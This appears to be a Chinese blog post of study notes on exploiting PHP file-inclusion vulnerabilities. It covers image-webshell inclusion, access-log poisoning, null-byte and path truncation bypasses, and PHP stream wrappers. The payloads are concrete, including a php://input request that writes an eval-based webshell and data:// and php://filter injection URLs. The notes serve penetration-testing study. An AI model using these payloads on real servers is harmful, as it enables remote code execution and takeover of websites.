• 2019-11-12:文件包含基础学习,笔记


    文件上传(图片马)+文件包含getshell
    先上传一个图片马,需要知道其在服务器中的位置,然后去找一个存在文件包含的地方,将图片马包含起来尝试执行

    如果服务器开启日志记录功能,包含日志文件可以getshell,,修改apache的配置文件,将“customlog logs/access.log” common前的注释符号去掉,重启服务,在logs目录下就有accesslog文件
    accesslog文件格式
    客户端Ip 请求时间 用户请求方式 请求页面 协议类型以及版本 状态码 返回数据长度
    127.0.0.1 - - [06/Oct/2019:11:13:22 +0800] "GET /phpmyadmin/ HTTP/1.1" 200 3608
    利用accesslog文件getshell
    需要知道accesslog文件路径,在web服务网站任意地方访问,url格式 www.xxx.com/<?php phpinfo();?> ,会把脚本记录到日志文件中,访问时候使用BP拦截数据包,将请求头脚本语句重新编码, 避免被浏览器转码,之后利用文件包含执行脚本

    利用文件包含可以,获取服务器源代码,需要利用伪协议

    共享文件实现有限条件下的远程文件包含

    远程文件包含利用条件
    allow_url_include 和 allow_url_fopen 需要打开
    远程服务器上写好需要的脚本,在目标机器的有文件包含漏洞的页面,请求包含远程利用脚本文件,注意远程脚本要在远程服务器上不能解析保证访问时候没有被转码

    有后缀名限制的文件包含
    include($_GET['file'].'.php');
    使用%00截断:www.xxx.com/file=xx.php%00,要求PHP版本小于5.3

    有前缀名限制的文件包含
    include('./up/.'.$_GET['file']);
    使用跳转:www.xxx.com/file=../../../xxx.php

    同时有前后缀限制文件包含
    include('up/.'.$_GET['file'].'.php');
    需要重点考虑后缀名的绕过,一般使用方法,%00截断,路径长度截断(windows下文件名最长为256,linux文件名长于4096),需要php版本小于5.3

    有后缀名限制的远程文件包含绕过
    %00截断(php<5.3)
    ?截断(php<5.4)
    #截断(php<5.4)

    PHP伪协议
    file://访问本地文件系统
    http://访问http网址
    ftp://访问ftp
    zlib://压缩数据流
    data://数据(RFC2397)
    ssh2:// secure shell 2
    expect:// 处理交互式流
    glob:// 查找匹配文件路径模式

    File协议
    当存在某个用户可控制、并得以访问执行的输入点时,我们可以尝试输入file://去获取本地磁盘文件 利用条件:allow_url_fopen和allow_url_include均无要求
    使用方法:http://192.168.2.101/include/test.php?a=file:///C:/Users/cream/Desktop/P.mhtml

    php input协议伪协议文件包含利用,需要allow_url_include开启就行
    url:GET方式 http://127.0.0.1/includ.php?file=php://input POST DATA<?php phpinfo(); ?>
    POST方式 http://127.0.0.1/includ.php, POST DATA file=php://input&<?php phpinfo(); ?>
    利用php input协议写入一句话脚本
    url:GET方式 http://127.0.0.1/includ.php?file=php://input POST DATA<?php fputs(fopen("shell.php","w"),"<?php eval($_POST['cmd']);?>");?>

    php filter协议
    string.tolower/resource 读取文件内容进行转换大小写
    string.strip_tags/resource 读取文件取出html和php标记
    convert.base64-encode/resource 读取文件进行base64加密
    string.rot13/resource 进行rot13读取文件,如果使用rot13编码的方式去读取php文件,需要注意,short_open_tag模块要处于不开启状态,读取之后使用rot13解密即可
    <?php phpinfo();?>--ROT13--> <?cuc cucvasb();?> te.php
    file=php://filter/string.rot13/resource=te.php (最后直接执行)
    如果使用rot13编码的方式去读PHP文件需要注意模块short_open_tag的开关情况,
    则该方法仅限于当short_open_tag不开启的时候,读出来之后rot13解密即可!

    phar:// 读取压缩包内的文件数据
    利用条件 Php >=5.3
    读取zip文件
    相对路径访问
    www.xxx.com/?file=phar://info.zip/info.txt
    绝对路径访问
    http://127.0.0.1/upload/includ.php?file=phar://D:/phpStudy/PHPTutorial/WWW/upload/1.zip%231.txt

    zip:// 读取压缩包内的文件数据
    条件:php >=5.3
    只能使用绝对路径去访问,并且压缩包后将之前的斜线换成%23
    http://127.0.0.1/upload/includ.php?file=zip://D:/phpStudy/PHPTutorial/WWW/upload/1.zip%231.txt

    data://
    条件 php>=5.2
    allow_url_fopen 和 allow_url_include 都需要打开
    http://127.0.0.1/upload/includ.php?file=data://text/plain,<?php phpinfo();?>
    http://127.0.0.1/upload/includ.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

    smb协议,445端口

  • 相关阅读:
    vi 命令
    element-ui + el-dialog + Vue.component 注册的tinymce富文本控件 第二次及以后打开dialog出现问题解决方法
    【经典数据结构】哈希表
    TCP建立连接与释放连接过程中的几个问题
    【算法题目】求二叉树中节点的最大距离
    字符串处理函数
    [LeetCode] Balanced Binary Tree
    [LeetCode] N-Queens II
    [LeetCode] N-Queens
    【linux使用】bash shell命令行常用快捷键
  • 原文地址:https://www.cnblogs.com/sym945/p/11844958.html
Copyright © 2020-2023  润新知